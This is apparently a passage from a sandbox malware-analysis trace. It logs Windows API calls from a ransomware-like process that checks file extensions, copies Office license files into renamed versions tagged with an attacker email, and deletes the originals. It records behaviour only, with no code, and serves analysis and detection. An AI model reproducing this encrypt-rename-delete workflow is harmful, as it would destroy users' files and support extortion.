lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms") returned 79 [0212.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms") returned 79 [0212.133] lstrlenW (lpString=".doc") returned 4 [0212.133] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.133] lstrlenW (lpString=".docx") returned 5 [0212.133] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.133] lstrlenW (lpString=".pdf") returned 4 [0212.133] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.133] lstrlenW (lpString=".xls") returned 4 [0212.133] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.133] lstrlenW (lpString=".xlsx") returned 5 [0212.133] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.133] lstrlenW (lpString=".ppt") returned 4 [0212.133] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms") returned 79 [0212.133] lstrlenW (lpString=".zip") returned 4 [0212.133] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.133] lstrlenW (lpString=".rar") returned 4 [0212.133] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.133] lstrlenW (lpString=".bz2") returned 4 [0212.133] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.133] lstrlenW (lpString=".7z") returned 3 [0212.133] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms") returned 79 [0212.133] lstrlenW (lpString=".dbf") returned 4 [0212.133] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms") returned 79 [0212.133] lstrlenW (lpString=".1cd") returned 4 [0212.133] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ul-oob.xrm-ms") returned 79 [0212.133] lstrlenW (lpString=".jpg") returned 4 [0212.133] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.134] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0212.134] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0212.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0212.134] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=590523) returned 1 [0212.134] CloseHandle (hObject=0x51c) returned 1 [0212.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\pkeyconfig-office.xrm-ms")) returned 0x220 [0212.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\pkeyconfig-office.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0212.135] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.135] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\pkeyconfig-office.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0212.136] GetLastError () returned 0x0 [0212.136] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x902bb, lpOverlapped=0x0) returned 1 [0212.418] WriteFile (in: hFile=0x38c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x902c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x902c0, lpOverlapped=0x0) returned 1 [0212.429] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.429] WriteFile (in: hFile=0x38c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x104, lpOverlapped=0x0) returned 1 [0212.429] SetEndOfFile (hFile=0x38c) returned 1 [0212.429] CloseHandle (hObject=0x38c) returned 1 [0212.429] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.430] SetEndOfFile (hFile=0x51c) returned 1 [0213.400] CloseHandle (hObject=0x51c) returned 1 [0213.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.400] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\pkeyconfig-office.xrm-ms")) returned 1 [0213.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms") returned 74 [0213.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms") returned 74 [0213.401] lstrlenW (lpString=".doc") returned 4 [0213.401] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.401] lstrlenW (lpString=".docx") returned 5 [0213.401] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.401] lstrlenW (lpString=".pdf") returned 4 [0213.401] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.401] lstrlenW (lpString=".xls") returned 4 [0213.401] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.401] lstrlenW (lpString=".xlsx") returned 5 [0213.401] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.401] lstrlenW (lpString=".ppt") returned 4 [0213.401] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms") returned 74 [0213.402] lstrlenW (lpString=".zip") returned 4 [0213.402] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.402] lstrlenW (lpString=".rar") returned 4 [0213.402] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.402] lstrlenW (lpString=".bz2") returned 4 [0213.402] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.402] lstrlenW (lpString=".7z") returned 3 [0213.402] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms") returned 74 [0213.402] lstrlenW (lpString=".dbf") returned 4 [0213.402] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms") returned 74 [0213.402] lstrlenW (lpString=".1cd") returned 4 [0213.402] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms") returned 74 [0213.402] lstrlenW (lpString=".jpg") returned 4 [0213.402] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms") returned 74 [0213.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms") returned 74 [0213.402] lstrlenW (lpString=".doc") returned 4 [0213.402] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.402] lstrlenW (lpString=".docx") returned 5 [0213.402] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.402] lstrlenW (lpString=".pdf") returned 4 [0213.402] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.402] lstrlenW (lpString=".xls") returned 4 [0213.402] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.402] lstrlenW (lpString=".xlsx") returned 5 [0213.402] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.402] lstrlenW (lpString=".ppt") returned 4 [0213.403] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms") returned 74 [0213.403] lstrlenW (lpString=".zip") returned 4 [0213.403] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.403] lstrlenW (lpString=".rar") returned 4 [0213.403] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.403] lstrlenW (lpString=".bz2") returned 4 [0213.403] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.403] lstrlenW (lpString=".7z") returned 3 [0213.403] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms") returned 74 [0213.403] lstrlenW (lpString=".dbf") returned 4 [0213.403] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms") returned 74 [0213.403] lstrlenW (lpString=".1cd") returned 4 [0213.403] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\pkeyconfig-office.xrm-ms") returned 74 [0213.403] lstrlenW (lpString=".jpg") returned 4 [0213.403] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.403] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.403] lstrlenW (lpString="PowerPointR_Trial-ppd.xrm-ms") returned 28 [0213.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0213.404] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=20905) returned 1 [0213.404] CloseHandle (hObject=0x51c) returned 1 [0213.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-ppd.xrm-ms")) returned 0x220 [0213.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0213.405] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.405] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0213.406] GetLastError () returned 0x0 [0213.406] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x51a9, lpOverlapped=0x0) returned 1 [0213.409] WriteFile (in: hFile=0x564, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x51b0, lpOverlapped=0x0) returned 1 [0213.411] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0213.411] WriteFile (in: hFile=0x564, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x10c, lpOverlapped=0x0) returned 1 [0213.411] SetEndOfFile (hFile=0x564) returned 1 [0213.411] CloseHandle (hObject=0x564) returned 1 [0213.411] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.411] SetEndOfFile (hFile=0x51c) returned 1 [0213.414] CloseHandle (hObject=0x51c) returned 1 [0213.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.414] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-ppd.xrm-ms")) returned 1 [0213.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms") returned 78 [0213.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms") returned 78 [0213.415] lstrlenW (lpString=".doc") returned 4 [0213.415] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.415] lstrlenW (lpString=".docx") returned 5 [0213.415] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.415] lstrlenW (lpString=".pdf") returned 4 [0213.415] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.415] lstrlenW (lpString=".xls") returned 4 [0213.415] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.415] lstrlenW (lpString=".xlsx") returned 5 [0213.415] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.415] lstrlenW (lpString=".ppt") returned 4 [0213.415] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms") returned 78 [0213.416] lstrlenW (lpString=".zip") returned 4 [0213.416] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.416] lstrlenW (lpString=".rar") returned 4 [0213.416] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.416] lstrlenW (lpString=".bz2") returned 4 [0213.416] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.416] lstrlenW (lpString=".7z") returned 3 [0213.416] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms") returned 78 [0213.416] lstrlenW (lpString=".dbf") returned 4 [0213.416] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms") returned 78 [0213.416] lstrlenW (lpString=".1cd") returned 4 [0213.416] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms") returned 78 [0213.416] lstrlenW (lpString=".jpg") returned 4 [0213.416] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms") returned 78 [0213.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms") returned 78 [0213.416] lstrlenW (lpString=".doc") returned 4 [0213.416] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.416] lstrlenW (lpString=".docx") returned 5 [0213.416] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.416] lstrlenW (lpString=".pdf") returned 4 [0213.416] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.416] lstrlenW (lpString=".xls") returned 4 [0213.416] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.416] lstrlenW (lpString=".xlsx") returned 5 [0213.416] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.416] lstrlenW (lpString=".ppt") returned 4 [0213.416] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms") returned 78 [0213.417] lstrlenW (lpString=".zip") returned 4 [0213.417] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.417] lstrlenW (lpString=".rar") returned 4 [0213.417] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.417] lstrlenW (lpString=".bz2") returned 4 [0213.417] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.417] lstrlenW (lpString=".7z") returned 3 [0213.417] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms") returned 78 [0213.417] lstrlenW (lpString=".dbf") returned 4 [0213.417] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms") returned 78 [0213.417] lstrlenW (lpString=".1cd") returned 4 [0213.417] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms") returned 78 [0213.417] lstrlenW (lpString=".jpg") returned 4 [0213.417] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.417] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.417] lstrlenW (lpString="PowerPointR_Trial-ul-oob.xrm-ms") returned 31 [0213.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0213.418] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11611) returned 1 [0213.418] CloseHandle (hObject=0x51c) returned 1 [0213.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-ul-oob.xrm-ms")) returned 0x220 [0213.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0213.419] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.419] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0213.419] GetLastError () returned 0x0 [0213.420] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d5b, lpOverlapped=0x0) returned 1 [0213.424] WriteFile (in: hFile=0x564, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0213.425] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0213.425] WriteFile (in: hFile=0x564, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x112, lpOverlapped=0x0) returned 1 [0213.425] SetEndOfFile (hFile=0x564) returned 1 [0213.425] CloseHandle (hObject=0x564) returned 1 [0213.428] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.428] SetEndOfFile (hFile=0x51c) returned 1 [0213.438] CloseHandle (hObject=0x51c) returned 1 [0213.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-ul-oob.xrm-ms")) returned 1 [0213.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms") returned 81 [0213.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms") returned 81 [0213.740] lstrlenW (lpString=".doc") returned 4 [0213.740] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.740] lstrlenW (lpString=".docx") returned 5 [0213.740] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.740] lstrlenW (lpString=".pdf") returned 4 [0213.740] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.740] lstrlenW (lpString=".xls") returned 4 [0213.740] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.740] lstrlenW (lpString=".xlsx") returned 5 [0213.740] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.740] lstrlenW (lpString=".ppt") returned 4 [0213.740] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms") returned 81 [0213.740] lstrlenW (lpString=".zip") returned 4 [0213.740] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.740] lstrlenW (lpString=".rar") returned 4 [0213.740] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.740] lstrlenW (lpString=".bz2") returned 4 [0213.740] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.740] lstrlenW (lpString=".7z") returned 3 [0213.741] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms") returned 81 [0213.741] lstrlenW (lpString=".dbf") returned 4 [0213.741] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms") returned 81 [0213.741] lstrlenW (lpString=".1cd") returned 4 [0213.741] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms") returned 81 [0213.741] 